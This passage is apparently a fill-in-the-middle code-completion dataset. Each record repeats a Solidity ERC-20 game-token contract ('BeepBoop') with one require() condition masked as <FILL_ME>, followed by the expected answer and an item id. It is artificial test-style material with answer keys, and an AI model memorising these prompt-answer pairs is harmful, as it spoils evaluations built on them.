memory user, uint256[] memory amount) public onlyAuthorised nonReentrant { } function _depositBeepBoopFor(address user, uint256 amount) internal { } /** * @dev Function to mint tokens to a user balance. Can be only called by an authorised contracts. */ function mintFor(address user, uint256 amount) external onlyAuthorised nonReentrant { } /** * @dev Function to claim tokens from the tax accumulated pot. Can be only called by an authorised contracts. */ function claimBeepBoopTax(address user, uint256 amount) public onlyAuthorised nonReentrant { } /** * @dev Function returns maxSupply set by admin. By default returns error (Max supply is not set). */ function getMaxSupply() public view returns (uint256) { } /* ADMIN FUNCTIONS */ /** * @dev Function allows admin to set total supply of token. */ function setTokenCap(uint256 tokenCup) public onlyOwner { } /** * @dev Function allows admin add authorised address. The function also logs what addresses were authorised for transparancy. */ function authorise(address addressToAuth) public onlyOwner { } /** * @dev Function allows admin add unauthorised address. */ function unauthorise(address addressToUnAuth) public onlyOwner { } /** * @dev Function allows admin update the address of staking address. */ function changeBattleZoneContract(address battleZone_) public onlyOwner { } /** * @dev Function allows admin to update limmit of tax on withdraw. */ function updateWithdrawTaxAmount(uint256 _taxAmount) public onlyOwner { } /** * @dev Function allows admin to update limmit of tax on reserve. */ function updateReserveTaxAmount(uint256 _taxAmount) public onlyOwner { } /** * @dev Function allows admin to update limmit of tax on reserve. */ function updateReserveTaxRecipient(address address_) public onlyOwner { } /** * @dev Function allows admin to update tax amount on spend. */ function updateSpendTaxAmount(uint256 _taxAmount) public onlyOwner { } /** * @dev Function allows admin to stop tax collection on withdraw. */ function stopTaxCollectionOnWithdraw(bool _stop) public onlyOwner { } /** * @dev Function allows admin to stop tax collection on spend. */ function stopTaxCollectionOnSpend(bool _stop) public onlyOwner { } /** * @dev Function allows admin to pause all in game transfactions. */ function pauseGameBeepBoop(bool _pause) public onlyOwner { } /** * @dev Function allows admin to pause in game transfers. */ function pauseTransfers(bool _pause) public onlyOwner { } /** * @dev Function allows admin to pause in game withdraw. */ function pauseWithdraw(bool _pause) public onlyOwner { } /** * @dev Function allows admin to pause in game deposit. */ function pauseDeposits(bool _pause) public onlyOwner { } /** * @dev Function allows admin to withdraw ETH accidentally dropped to the contract. */ function rescue() external onlyOwner { } }
_isAuthorised[msg.sender],"Not Authorised"
228,652
_isAuthorised[msg.sender]
"Deposit Paused"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.16; import "@oz/access/Ownable.sol"; import "@oz/token/ERC20/IERC20.sol"; import "@oz/token/ERC20/ERC20.sol"; import "@oz/security/ReentrancyGuard.sol"; import {IBattleZone} from "./interfaces/IBattleZone.sol"; /** * @dev Implementation of the {IERC20} interface. */ contract BeepBoop is ERC20, ReentrancyGuard, Ownable { IBattleZone public battleZone; uint256 public MAX_SUPPLY; uint256 public constant MAX_TAX_VALUE = 100; uint256 public spendTaxAmount; uint256 public withdrawTaxAmount; uint256 public reserveTaxAmount; address public reserveTaxAddress; uint256 public bribesDistributed; uint256 public activeTaxCollectedAmount; bool public tokenCapSet; bool public withdrawTaxCollectionStopped; bool public spendTaxCollectionStopped; bool public isPaused; bool public isDepositPaused; bool public isWithdrawPaused; bool public isTransferPaused; mapping(address => bool) private _isAuthorised; address[] public authorisedLog; mapping(address => uint256) public depositedAmount; mapping(address => uint256) public spentAmount; modifier onlyAuthorised() { } modifier whenNotPaused() { } event Withdraw(address indexed userAddress, uint256 amount, uint256 tax); event Deposit(address indexed userAddress, uint256 amount); event DepositFor( address indexed caller, address indexed userAddress, uint256 amount ); event Spend( address indexed caller, address indexed userAddress, uint256 amount, uint256 tax ); event ClaimTax( address indexed caller, address indexed userAddress, uint256 amount ); event ClaimReservedTax( address indexed caller, address indexed userAddress, uint256 amount ); event InternalTransfer( address indexed from, address indexed to, uint256 amount ); constructor(address battleZone_) ERC20("Beep Boop", "BeepBoop") { } /** * @dev Returnes current spendable balance of a specific user. This balance can be spent by user for other collections without * withdrawal to ERC-20 token OR can be withdrawn to ERC-20 token. */ function getUserBalance(address user) public view returns (uint256) { } /** * @dev Function to deposit ERC-20 to the game balance. */ function depositBeepBoop(uint256 amount) public nonReentrant whenNotPaused { require(<FILL_ME>) require(balanceOf(msg.sender) >= amount, "Insufficient balance"); _burn(msg.sender, amount); depositedAmount[msg.sender] += amount; emit Deposit(msg.sender, amount); } /** * @dev Function to withdraw game to ERC-20. */ function withdrawBeepBoop(uint256 amount) public nonReentrant whenNotPaused { } /** * @dev Function to transfer game from one account to another. */ function transferBeepBoop(address to, uint256 amount) public nonReentrant whenNotPaused { } /** * @dev Function to spend user balance. Can be called by other authorised contracts. To be used for internal purchases of other NFTs, etc. */ function spendBeepBoop(address user, uint256 amount) external onlyAuthorised nonReentrant { } /** * @dev Function to deposit tokens to a user balance. Can be only called by an authorised contracts. */ function depositBeepBoopFor(address user, uint256 amount) public onlyAuthorised nonReentrant { } /** * @dev Function to tokens to the user balances. Can be only called by an authorised users. */ function distributeBeepBoop(address[] memory user, uint256[] memory amount) public onlyAuthorised nonReentrant { } function _depositBeepBoopFor(address user, uint256 amount) internal { } /** * @dev Function to mint tokens to a user balance. Can be only called by an authorised contracts. */ function mintFor(address user, uint256 amount) external onlyAuthorised nonReentrant { } /** * @dev Function to claim tokens from the tax accumulated pot. Can be only called by an authorised contracts. */ function claimBeepBoopTax(address user, uint256 amount) public onlyAuthorised nonReentrant { } /** * @dev Function returns maxSupply set by admin. By default returns error (Max supply is not set). */ function getMaxSupply() public view returns (uint256) { } /* ADMIN FUNCTIONS */ /** * @dev Function allows admin to set total supply of token. */ function setTokenCap(uint256 tokenCup) public onlyOwner { } /** * @dev Function allows admin add authorised address. The function also logs what addresses were authorised for transparancy. */ function authorise(address addressToAuth) public onlyOwner { } /** * @dev Function allows admin add unauthorised address. */ function unauthorise(address addressToUnAuth) public onlyOwner { } /** * @dev Function allows admin update the address of staking address. */ function changeBattleZoneContract(address battleZone_) public onlyOwner { } /** * @dev Function allows admin to update limmit of tax on withdraw. */ function updateWithdrawTaxAmount(uint256 _taxAmount) public onlyOwner { } /** * @dev Function allows admin to update limmit of tax on reserve. */ function updateReserveTaxAmount(uint256 _taxAmount) public onlyOwner { } /** * @dev Function allows admin to update limmit of tax on reserve. */ function updateReserveTaxRecipient(address address_) public onlyOwner { } /** * @dev Function allows admin to update tax amount on spend. */ function updateSpendTaxAmount(uint256 _taxAmount) public onlyOwner { } /** * @dev Function allows admin to stop tax collection on withdraw. */ function stopTaxCollectionOnWithdraw(bool _stop) public onlyOwner { } /** * @dev Function allows admin to stop tax collection on spend. */ function stopTaxCollectionOnSpend(bool _stop) public onlyOwner { } /** * @dev Function allows admin to pause all in game transfactions. */ function pauseGameBeepBoop(bool _pause) public onlyOwner { } /** * @dev Function allows admin to pause in game transfers. */ function pauseTransfers(bool _pause) public onlyOwner { } /** * @dev Function allows admin to pause in game withdraw. */ function pauseWithdraw(bool _pause) public onlyOwner { } /** * @dev Function allows admin to pause in game deposit. */ function pauseDeposits(bool _pause) public onlyOwner { } /** * @dev Function allows admin to withdraw ETH accidentally dropped to the contract. */ function rescue() external onlyOwner { } }
!isDepositPaused,"Deposit Paused"
228,652
!isDepositPaused
"Withdraw Paused"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.16; import "@oz/access/Ownable.sol"; import "@oz/token/ERC20/IERC20.sol"; import "@oz/token/ERC20/ERC20.sol"; import "@oz/security/ReentrancyGuard.sol"; import {IBattleZone} from "./interfaces/IBattleZone.sol"; /** * @dev Implementation of the {IERC20} interface. */ contract BeepBoop is ERC20, ReentrancyGuard, Ownable { IBattleZone public battleZone; uint256 public MAX_SUPPLY; uint256 public constant MAX_TAX_VALUE = 100; uint256 public spendTaxAmount; uint256 public withdrawTaxAmount; uint256 public reserveTaxAmount; address public reserveTaxAddress; uint256 public bribesDistributed; uint256 public activeTaxCollectedAmount; bool public tokenCapSet; bool public withdrawTaxCollectionStopped; bool public spendTaxCollectionStopped; bool public isPaused; bool public isDepositPaused; bool public isWithdrawPaused; bool public isTransferPaused; mapping(address => bool) private _isAuthorised; address[] public authorisedLog; mapping(address => uint256) public depositedAmount; mapping(address => uint256) public spentAmount; modifier onlyAuthorised() { } modifier whenNotPaused() { } event Withdraw(address indexed userAddress, uint256 amount, uint256 tax); event Deposit(address indexed userAddress, uint256 amount); event DepositFor( address indexed caller, address indexed userAddress, uint256 amount ); event Spend( address indexed caller, address indexed userAddress, uint256 amount, uint256 tax ); event ClaimTax( address indexed caller, address indexed userAddress, uint256 amount ); event ClaimReservedTax( address indexed caller, address indexed userAddress, uint256 amount ); event InternalTransfer( address indexed from, address indexed to, uint256 amount ); constructor(address battleZone_) ERC20("Beep Boop", "BeepBoop") { } /** * @dev Returnes current spendable balance of a specific user. This balance can be spent by user for other collections without * withdrawal to ERC-20 token OR can be withdrawn to ERC-20 token. */ function getUserBalance(address user) public view returns (uint256) { } /** * @dev Function to deposit ERC-20 to the game balance. */ function depositBeepBoop(uint256 amount) public nonReentrant whenNotPaused { } /** * @dev Function to withdraw game to ERC-20. */ function withdrawBeepBoop(uint256 amount) public nonReentrant whenNotPaused { require(<FILL_ME>) require(getUserBalance(msg.sender) >= amount, "Insufficient balance"); uint256 tax = withdrawTaxCollectionStopped ? 0 : (amount * withdrawTaxAmount) / 100; spentAmount[msg.sender] += amount; if (reserveTaxAmount != 0 && reserveTaxAddress != address(0)) { activeTaxCollectedAmount += (tax * (100 - reserveTaxAmount)) / 100; _mint(reserveTaxAddress, (tax * reserveTaxAmount) / 100); } else { activeTaxCollectedAmount += tax; } _mint(msg.sender, (amount - tax)); emit Withdraw(msg.sender, amount, tax); } /** * @dev Function to transfer game from one account to another. */ function transferBeepBoop(address to, uint256 amount) public nonReentrant whenNotPaused { } /** * @dev Function to spend user balance. Can be called by other authorised contracts. To be used for internal purchases of other NFTs, etc. */ function spendBeepBoop(address user, uint256 amount) external onlyAuthorised nonReentrant { } /** * @dev Function to deposit tokens to a user balance. Can be only called by an authorised contracts. */ function depositBeepBoopFor(address user, uint256 amount) public onlyAuthorised nonReentrant { } /** * @dev Function to tokens to the user balances. Can be only called by an authorised users. */ function distributeBeepBoop(address[] memory user, uint256[] memory amount) public onlyAuthorised nonReentrant { } function _depositBeepBoopFor(address user, uint256 amount) internal { } /** * @dev Function to mint tokens to a user balance. Can be only called by an authorised contracts. */ function mintFor(address user, uint256 amount) external onlyAuthorised nonReentrant { } /** * @dev Function to claim tokens from the tax accumulated pot. Can be only called by an authorised contracts. */ function claimBeepBoopTax(address user, uint256 amount) public onlyAuthorised nonReentrant { } /** * @dev Function returns maxSupply set by admin. By default returns error (Max supply is not set). */ function getMaxSupply() public view returns (uint256) { } /* ADMIN FUNCTIONS */ /** * @dev Function allows admin to set total supply of token. */ function setTokenCap(uint256 tokenCup) public onlyOwner { } /** * @dev Function allows admin add authorised address. The function also logs what addresses were authorised for transparancy. */ function authorise(address addressToAuth) public onlyOwner { } /** * @dev Function allows admin add unauthorised address. */ function unauthorise(address addressToUnAuth) public onlyOwner { } /** * @dev Function allows admin update the address of staking address. */ function changeBattleZoneContract(address battleZone_) public onlyOwner { } /** * @dev Function allows admin to update limmit of tax on withdraw. */ function updateWithdrawTaxAmount(uint256 _taxAmount) public onlyOwner { } /** * @dev Function allows admin to update limmit of tax on reserve. */ function updateReserveTaxAmount(uint256 _taxAmount) public onlyOwner { } /** * @dev Function allows admin to update limmit of tax on reserve. */ function updateReserveTaxRecipient(address address_) public onlyOwner { } /** * @dev Function allows admin to update tax amount on spend. */ function updateSpendTaxAmount(uint256 _taxAmount) public onlyOwner { } /** * @dev Function allows admin to stop tax collection on withdraw. */ function stopTaxCollectionOnWithdraw(bool _stop) public onlyOwner { } /** * @dev Function allows admin to stop tax collection on spend. */ function stopTaxCollectionOnSpend(bool _stop) public onlyOwner { } /** * @dev Function allows admin to pause all in game transfactions. */ function pauseGameBeepBoop(bool _pause) public onlyOwner { } /** * @dev Function allows admin to pause in game transfers. */ function pauseTransfers(bool _pause) public onlyOwner { } /** * @dev Function allows admin to pause in game withdraw. */ function pauseWithdraw(bool _pause) public onlyOwner { } /** * @dev Function allows admin to pause in game deposit. */ function pauseDeposits(bool _pause) public onlyOwner { } /** * @dev Function allows admin to withdraw ETH accidentally dropped to the contract. */ function rescue() external onlyOwner { } }
!isWithdrawPaused,"Withdraw Paused"
228,652
!isWithdrawPaused
"Insufficient balance"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.16; import "@oz/access/Ownable.sol"; import "@oz/token/ERC20/IERC20.sol"; import "@oz/token/ERC20/ERC20.sol"; import "@oz/security/ReentrancyGuard.sol"; import {IBattleZone} from "./interfaces/IBattleZone.sol"; /** * @dev Implementation of the {IERC20} interface. */ contract BeepBoop is ERC20, ReentrancyGuard, Ownable { IBattleZone public battleZone; uint256 public MAX_SUPPLY; uint256 public constant MAX_TAX_VALUE = 100; uint256 public spendTaxAmount; uint256 public withdrawTaxAmount; uint256 public reserveTaxAmount; address public reserveTaxAddress; uint256 public bribesDistributed; uint256 public activeTaxCollectedAmount; bool public tokenCapSet; bool public withdrawTaxCollectionStopped; bool public spendTaxCollectionStopped; bool public isPaused; bool public isDepositPaused; bool public isWithdrawPaused; bool public isTransferPaused; mapping(address => bool) private _isAuthorised; address[] public authorisedLog; mapping(address => uint256) public depositedAmount; mapping(address => uint256) public spentAmount; modifier onlyAuthorised() { } modifier whenNotPaused() { } event Withdraw(address indexed userAddress, uint256 amount, uint256 tax); event Deposit(address indexed userAddress, uint256 amount); event DepositFor( address indexed caller, address indexed userAddress, uint256 amount ); event Spend( address indexed caller, address indexed userAddress, uint256 amount, uint256 tax ); event ClaimTax( address indexed caller, address indexed userAddress, uint256 amount ); event ClaimReservedTax( address indexed caller, address indexed userAddress, uint256 amount ); event InternalTransfer( address indexed from, address indexed to, uint256 amount ); constructor(address battleZone_) ERC20("Beep Boop", "BeepBoop") { } /** * @dev Returnes current spendable balance of a specific user. This balance can be spent by user for other collections without * withdrawal to ERC-20 token OR can be withdrawn to ERC-20 token. */ function getUserBalance(address user) public view returns (uint256) { } /** * @dev Function to deposit ERC-20 to the game balance. */ function depositBeepBoop(uint256 amount) public nonReentrant whenNotPaused { } /** * @dev Function to withdraw game to ERC-20. */ function withdrawBeepBoop(uint256 amount) public nonReentrant whenNotPaused { require(!isWithdrawPaused, "Withdraw Paused"); require(<FILL_ME>) uint256 tax = withdrawTaxCollectionStopped ? 0 : (amount * withdrawTaxAmount) / 100; spentAmount[msg.sender] += amount; if (reserveTaxAmount != 0 && reserveTaxAddress != address(0)) { activeTaxCollectedAmount += (tax * (100 - reserveTaxAmount)) / 100; _mint(reserveTaxAddress, (tax * reserveTaxAmount) / 100); } else { activeTaxCollectedAmount += tax; } _mint(msg.sender, (amount - tax)); emit Withdraw(msg.sender, amount, tax); } /** * @dev Function to transfer game from one account to another. */ function transferBeepBoop(address to, uint256 amount) public nonReentrant whenNotPaused { } /** * @dev Function to spend user balance. Can be called by other authorised contracts. To be used for internal purchases of other NFTs, etc. */ function spendBeepBoop(address user, uint256 amount) external onlyAuthorised nonReentrant { } /** * @dev Function to deposit tokens to a user balance. Can be only called by an authorised contracts. */ function depositBeepBoopFor(address user, uint256 amount) public onlyAuthorised nonReentrant { } /** * @dev Function to tokens to the user balances. Can be only called by an authorised users. */ function distributeBeepBoop(address[] memory user, uint256[] memory amount) public onlyAuthorised nonReentrant { } function _depositBeepBoopFor(address user, uint256 amount) internal { } /** * @dev Function to mint tokens to a user balance. Can be only called by an authorised contracts. */ function mintFor(address user, uint256 amount) external onlyAuthorised nonReentrant { } /** * @dev Function to claim tokens from the tax accumulated pot. Can be only called by an authorised contracts. */ function claimBeepBoopTax(address user, uint256 amount) public onlyAuthorised nonReentrant { } /** * @dev Function returns maxSupply set by admin. By default returns error (Max supply is not set). */ function getMaxSupply() public view returns (uint256) { } /* ADMIN FUNCTIONS */ /** * @dev Function allows admin to set total supply of token. */ function setTokenCap(uint256 tokenCup) public onlyOwner { } /** * @dev Function allows admin add authorised address. The function also logs what addresses were authorised for transparancy. */ function authorise(address addressToAuth) public onlyOwner { } /** * @dev Function allows admin add unauthorised address. */ function unauthorise(address addressToUnAuth) public onlyOwner { } /** * @dev Function allows admin update the address of staking address. */ function changeBattleZoneContract(address battleZone_) public onlyOwner { } /** * @dev Function allows admin to update limmit of tax on withdraw. */ function updateWithdrawTaxAmount(uint256 _taxAmount) public onlyOwner { } /** * @dev Function allows admin to update limmit of tax on reserve. */ function updateReserveTaxAmount(uint256 _taxAmount) public onlyOwner { } /** * @dev Function allows admin to update limmit of tax on reserve. */ function updateReserveTaxRecipient(address address_) public onlyOwner { } /** * @dev Function allows admin to update tax amount on spend. */ function updateSpendTaxAmount(uint256 _taxAmount) public onlyOwner { } /** * @dev Function allows admin to stop tax collection on withdraw. */ function stopTaxCollectionOnWithdraw(bool _stop) public onlyOwner { } /** * @dev Function allows admin to stop tax collection on spend. */ function stopTaxCollectionOnSpend(bool _stop) public onlyOwner { } /** * @dev Function allows admin to pause all in game transfactions. */ function pauseGameBeepBoop(bool _pause) public onlyOwner { } /** * @dev Function allows admin to pause in game transfers. */ function pauseTransfers(bool _pause) public onlyOwner { } /** * @dev Function allows admin to pause in game withdraw. */ function pauseWithdraw(bool _pause) public onlyOwner { } /** * @dev Function allows admin to pause in game deposit. */ function pauseDeposits(bool _pause) public onlyOwner { } /** * @dev Function allows admin to withdraw ETH accidentally dropped to the contract. */ function rescue() external onlyOwner { } }
getUserBalance(msg.sender)>=amount,"Insufficient balance"
228,652
getUserBalance(msg.sender)>=amount
"Transfer Paused"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.16; import "@oz/access/Ownable.sol"; import "@oz/token/ERC20/IERC20.sol"; import "@oz/token/ERC20/ERC20.sol"; import "@oz/security/ReentrancyGuard.sol"; import {IBattleZone} from "./interfaces/IBattleZone.sol"; /** * @dev Implementation of the {IERC20} interface. */ contract BeepBoop is ERC20, ReentrancyGuard, Ownable { IBattleZone public battleZone; uint256 public MAX_SUPPLY; uint256 public constant MAX_TAX_VALUE = 100; uint256 public spendTaxAmount; uint256 public withdrawTaxAmount; uint256 public reserveTaxAmount; address public reserveTaxAddress; uint256 public bribesDistributed; uint256 public activeTaxCollectedAmount; bool public tokenCapSet; bool public withdrawTaxCollectionStopped; bool public spendTaxCollectionStopped; bool public isPaused; bool public isDepositPaused; bool public isWithdrawPaused; bool public isTransferPaused; mapping(address => bool) private _isAuthorised; address[] public authorisedLog; mapping(address => uint256) public depositedAmount; mapping(address => uint256) public spentAmount; modifier onlyAuthorised() { } modifier whenNotPaused() { } event Withdraw(address indexed userAddress, uint256 amount, uint256 tax); event Deposit(address indexed userAddress, uint256 amount); event DepositFor( address indexed caller, address indexed userAddress, uint256 amount ); event Spend( address indexed caller, address indexed userAddress, uint256 amount, uint256 tax ); event ClaimTax( address indexed caller, address indexed userAddress, uint256 amount ); event ClaimReservedTax( address indexed caller, address indexed userAddress, uint256 amount ); event InternalTransfer( address indexed from, address indexed to, uint256 amount ); constructor(address battleZone_) ERC20("Beep Boop", "BeepBoop") { } /** * @dev Returnes current spendable balance of a specific user. This balance can be spent by user for other collections without * withdrawal to ERC-20 token OR can be withdrawn to ERC-20 token. */ function getUserBalance(address user) public view returns (uint256) { } /** * @dev Function to deposit ERC-20 to the game balance. */ function depositBeepBoop(uint256 amount) public nonReentrant whenNotPaused { } /** * @dev Function to withdraw game to ERC-20. */ function withdrawBeepBoop(uint256 amount) public nonReentrant whenNotPaused { } /** * @dev Function to transfer game from one account to another. */ function transferBeepBoop(address to, uint256 amount) public nonReentrant whenNotPaused { require(<FILL_ME>) require(getUserBalance(msg.sender) >= amount, "Insufficient balance"); spentAmount[msg.sender] += amount; depositedAmount[to] += amount; emit InternalTransfer(msg.sender, to, amount); } /** * @dev Function to spend user balance. Can be called by other authorised contracts. To be used for internal purchases of other NFTs, etc. */ function spendBeepBoop(address user, uint256 amount) external onlyAuthorised nonReentrant { } /** * @dev Function to deposit tokens to a user balance. Can be only called by an authorised contracts. */ function depositBeepBoopFor(address user, uint256 amount) public onlyAuthorised nonReentrant { } /** * @dev Function to tokens to the user balances. Can be only called by an authorised users. */ function distributeBeepBoop(address[] memory user, uint256[] memory amount) public onlyAuthorised nonReentrant { } function _depositBeepBoopFor(address user, uint256 amount) internal { } /** * @dev Function to mint tokens to a user balance. Can be only called by an authorised contracts. */ function mintFor(address user, uint256 amount) external onlyAuthorised nonReentrant { } /** * @dev Function to claim tokens from the tax accumulated pot. Can be only called by an authorised contracts. */ function claimBeepBoopTax(address user, uint256 amount) public onlyAuthorised nonReentrant { } /** * @dev Function returns maxSupply set by admin. By default returns error (Max supply is not set). */ function getMaxSupply() public view returns (uint256) { } /* ADMIN FUNCTIONS */ /** * @dev Function allows admin to set total supply of token. */ function setTokenCap(uint256 tokenCup) public onlyOwner { } /** * @dev Function allows admin add authorised address. The function also logs what addresses were authorised for transparancy. */ function authorise(address addressToAuth) public onlyOwner { } /** * @dev Function allows admin add unauthorised address. */ function unauthorise(address addressToUnAuth) public onlyOwner { } /** * @dev Function allows admin update the address of staking address. */ function changeBattleZoneContract(address battleZone_) public onlyOwner { } /** * @dev Function allows admin to update limmit of tax on withdraw. */ function updateWithdrawTaxAmount(uint256 _taxAmount) public onlyOwner { } /** * @dev Function allows admin to update limmit of tax on reserve. */ function updateReserveTaxAmount(uint256 _taxAmount) public onlyOwner { } /** * @dev Function allows admin to update limmit of tax on reserve. */ function updateReserveTaxRecipient(address address_) public onlyOwner { } /** * @dev Function allows admin to update tax amount on spend. */ function updateSpendTaxAmount(uint256 _taxAmount) public onlyOwner { } /** * @dev Function allows admin to stop tax collection on withdraw. */ function stopTaxCollectionOnWithdraw(bool _stop) public onlyOwner { } /** * @dev Function allows admin to stop tax collection on spend. */ function stopTaxCollectionOnSpend(bool _stop) public onlyOwner { } /** * @dev Function allows admin to pause all in game transfactions. */ function pauseGameBeepBoop(bool _pause) public onlyOwner { } /** * @dev Function allows admin to pause in game transfers. */ function pauseTransfers(bool _pause) public onlyOwner { } /** * @dev Function allows admin to pause in game withdraw. */ function pauseWithdraw(bool _pause) public onlyOwner { } /** * @dev Function allows admin to pause in game deposit. */ function pauseDeposits(bool _pause) public onlyOwner { } /** * @dev Function allows admin to withdraw ETH accidentally dropped to the contract. */ function rescue() external onlyOwner { } }
!isTransferPaused,"Transfer Paused"
228,652
!isTransferPaused
"Insufficient balance"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.16; import "@oz/access/Ownable.sol"; import "@oz/token/ERC20/IERC20.sol"; import "@oz/token/ERC20/ERC20.sol"; import "@oz/security/ReentrancyGuard.sol"; import {IBattleZone} from "./interfaces/IBattleZone.sol"; /** * @dev Implementation of the {IERC20} interface. */ contract BeepBoop is ERC20, ReentrancyGuard, Ownable { IBattleZone public battleZone; uint256 public MAX_SUPPLY; uint256 public constant MAX_TAX_VALUE = 100; uint256 public spendTaxAmount; uint256 public withdrawTaxAmount; uint256 public reserveTaxAmount; address public reserveTaxAddress; uint256 public bribesDistributed; uint256 public activeTaxCollectedAmount; bool public tokenCapSet; bool public withdrawTaxCollectionStopped; bool public spendTaxCollectionStopped; bool public isPaused; bool public isDepositPaused; bool public isWithdrawPaused; bool public isTransferPaused; mapping(address => bool) private _isAuthorised; address[] public authorisedLog; mapping(address => uint256) public depositedAmount; mapping(address => uint256) public spentAmount; modifier onlyAuthorised() { } modifier whenNotPaused() { } event Withdraw(address indexed userAddress, uint256 amount, uint256 tax); event Deposit(address indexed userAddress, uint256 amount); event DepositFor( address indexed caller, address indexed userAddress, uint256 amount ); event Spend( address indexed caller, address indexed userAddress, uint256 amount, uint256 tax ); event ClaimTax( address indexed caller, address indexed userAddress, uint256 amount ); event ClaimReservedTax( address indexed caller, address indexed userAddress, uint256 amount ); event InternalTransfer( address indexed from, address indexed to, uint256 amount ); constructor(address battleZone_) ERC20("Beep Boop", "BeepBoop") { } /** * @dev Returnes current spendable balance of a specific user. This balance can be spent by user for other collections without * withdrawal to ERC-20 token OR can be withdrawn to ERC-20 token. */ function getUserBalance(address user) public view returns (uint256) { } /** * @dev Function to deposit ERC-20 to the game balance. */ function depositBeepBoop(uint256 amount) public nonReentrant whenNotPaused { } /** * @dev Function to withdraw game to ERC-20. */ function withdrawBeepBoop(uint256 amount) public nonReentrant whenNotPaused { } /** * @dev Function to transfer game from one account to another. */ function transferBeepBoop(address to, uint256 amount) public nonReentrant whenNotPaused { } /** * @dev Function to spend user balance. Can be called by other authorised contracts. To be used for internal purchases of other NFTs, etc. */ function spendBeepBoop(address user, uint256 amount) external onlyAuthorised nonReentrant { require(<FILL_ME>) uint256 tax = spendTaxCollectionStopped ? 0 : (amount * spendTaxAmount) / 100; spentAmount[user] += amount; activeTaxCollectedAmount += tax; emit Spend(msg.sender, user, amount, tax); } /** * @dev Function to deposit tokens to a user balance. Can be only called by an authorised contracts. */ function depositBeepBoopFor(address user, uint256 amount) public onlyAuthorised nonReentrant { } /** * @dev Function to tokens to the user balances. Can be only called by an authorised users. */ function distributeBeepBoop(address[] memory user, uint256[] memory amount) public onlyAuthorised nonReentrant { } function _depositBeepBoopFor(address user, uint256 amount) internal { } /** * @dev Function to mint tokens to a user balance. Can be only called by an authorised contracts. */ function mintFor(address user, uint256 amount) external onlyAuthorised nonReentrant { } /** * @dev Function to claim tokens from the tax accumulated pot. Can be only called by an authorised contracts. */ function claimBeepBoopTax(address user, uint256 amount) public onlyAuthorised nonReentrant { } /** * @dev Function returns maxSupply set by admin. By default returns error (Max supply is not set). */ function getMaxSupply() public view returns (uint256) { } /* ADMIN FUNCTIONS */ /** * @dev Function allows admin to set total supply of token. */ function setTokenCap(uint256 tokenCup) public onlyOwner { } /** * @dev Function allows admin add authorised address. The function also logs what addresses were authorised for transparancy. */ function authorise(address addressToAuth) public onlyOwner { } /** * @dev Function allows admin add unauthorised address. */ function unauthorise(address addressToUnAuth) public onlyOwner { } /** * @dev Function allows admin update the address of staking address. */ function changeBattleZoneContract(address battleZone_) public onlyOwner { } /** * @dev Function allows admin to update limmit of tax on withdraw. */ function updateWithdrawTaxAmount(uint256 _taxAmount) public onlyOwner { } /** * @dev Function allows admin to update limmit of tax on reserve. */ function updateReserveTaxAmount(uint256 _taxAmount) public onlyOwner { } /** * @dev Function allows admin to update limmit of tax on reserve. */ function updateReserveTaxRecipient(address address_) public onlyOwner { } /** * @dev Function allows admin to update tax amount on spend. */ function updateSpendTaxAmount(uint256 _taxAmount) public onlyOwner { } /** * @dev Function allows admin to stop tax collection on withdraw. */ function stopTaxCollectionOnWithdraw(bool _stop) public onlyOwner { } /** * @dev Function allows admin to stop tax collection on spend. */ function stopTaxCollectionOnSpend(bool _stop) public onlyOwner { } /** * @dev Function allows admin to pause all in game transfactions. */ function pauseGameBeepBoop(bool _pause) public onlyOwner { } /** * @dev Function allows admin to pause in game transfers. */ function pauseTransfers(bool _pause) public onlyOwner { } /** * @dev Function allows admin to pause in game withdraw. */ function pauseWithdraw(bool _pause) public onlyOwner { } /** * @dev Function allows admin to pause in game deposit. */ function pauseDeposits(bool _pause) public onlyOwner { } /** * @dev Function allows admin to withdraw ETH accidentally dropped to the contract. */ function rescue() external onlyOwner { } }
getUserBalance(user)>=amount,"Insufficient balance"
228,652
getUserBalance(user)>=amount
"Value is smaller than the number of existing tokens"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.16; import "@oz/access/Ownable.sol"; import "@oz/token/ERC20/IERC20.sol"; import "@oz/token/ERC20/ERC20.sol"; import "@oz/security/ReentrancyGuard.sol"; import {IBattleZone} from "./interfaces/IBattleZone.sol"; /** * @dev Implementation of the {IERC20} interface. */ contract BeepBoop is ERC20, ReentrancyGuard, Ownable { IBattleZone public battleZone; uint256 public MAX_SUPPLY; uint256 public constant MAX_TAX_VALUE = 100; uint256 public spendTaxAmount; uint256 public withdrawTaxAmount; uint256 public reserveTaxAmount; address public reserveTaxAddress; uint256 public bribesDistributed; uint256 public activeTaxCollectedAmount; bool public tokenCapSet; bool public withdrawTaxCollectionStopped; bool public spendTaxCollectionStopped; bool public isPaused; bool public isDepositPaused; bool public isWithdrawPaused; bool public isTransferPaused; mapping(address => bool) private _isAuthorised; address[] public authorisedLog; mapping(address => uint256) public depositedAmount; mapping(address => uint256) public spentAmount; modifier onlyAuthorised() { } modifier whenNotPaused() { } event Withdraw(address indexed userAddress, uint256 amount, uint256 tax); event Deposit(address indexed userAddress, uint256 amount); event DepositFor( address indexed caller, address indexed userAddress, uint256 amount ); event Spend( address indexed caller, address indexed userAddress, uint256 amount, uint256 tax ); event ClaimTax( address indexed caller, address indexed userAddress, uint256 amount ); event ClaimReservedTax( address indexed caller, address indexed userAddress, uint256 amount ); event InternalTransfer( address indexed from, address indexed to, uint256 amount ); constructor(address battleZone_) ERC20("Beep Boop", "BeepBoop") { } /** * @dev Returnes current spendable balance of a specific user. This balance can be spent by user for other collections without * withdrawal to ERC-20 token OR can be withdrawn to ERC-20 token. */ function getUserBalance(address user) public view returns (uint256) { } /** * @dev Function to deposit ERC-20 to the game balance. */ function depositBeepBoop(uint256 amount) public nonReentrant whenNotPaused { } /** * @dev Function to withdraw game to ERC-20. */ function withdrawBeepBoop(uint256 amount) public nonReentrant whenNotPaused { } /** * @dev Function to transfer game from one account to another. */ function transferBeepBoop(address to, uint256 amount) public nonReentrant whenNotPaused { } /** * @dev Function to spend user balance. Can be called by other authorised contracts. To be used for internal purchases of other NFTs, etc. */ function spendBeepBoop(address user, uint256 amount) external onlyAuthorised nonReentrant { } /** * @dev Function to deposit tokens to a user balance. Can be only called by an authorised contracts. */ function depositBeepBoopFor(address user, uint256 amount) public onlyAuthorised nonReentrant { } /** * @dev Function to tokens to the user balances. Can be only called by an authorised users. */ function 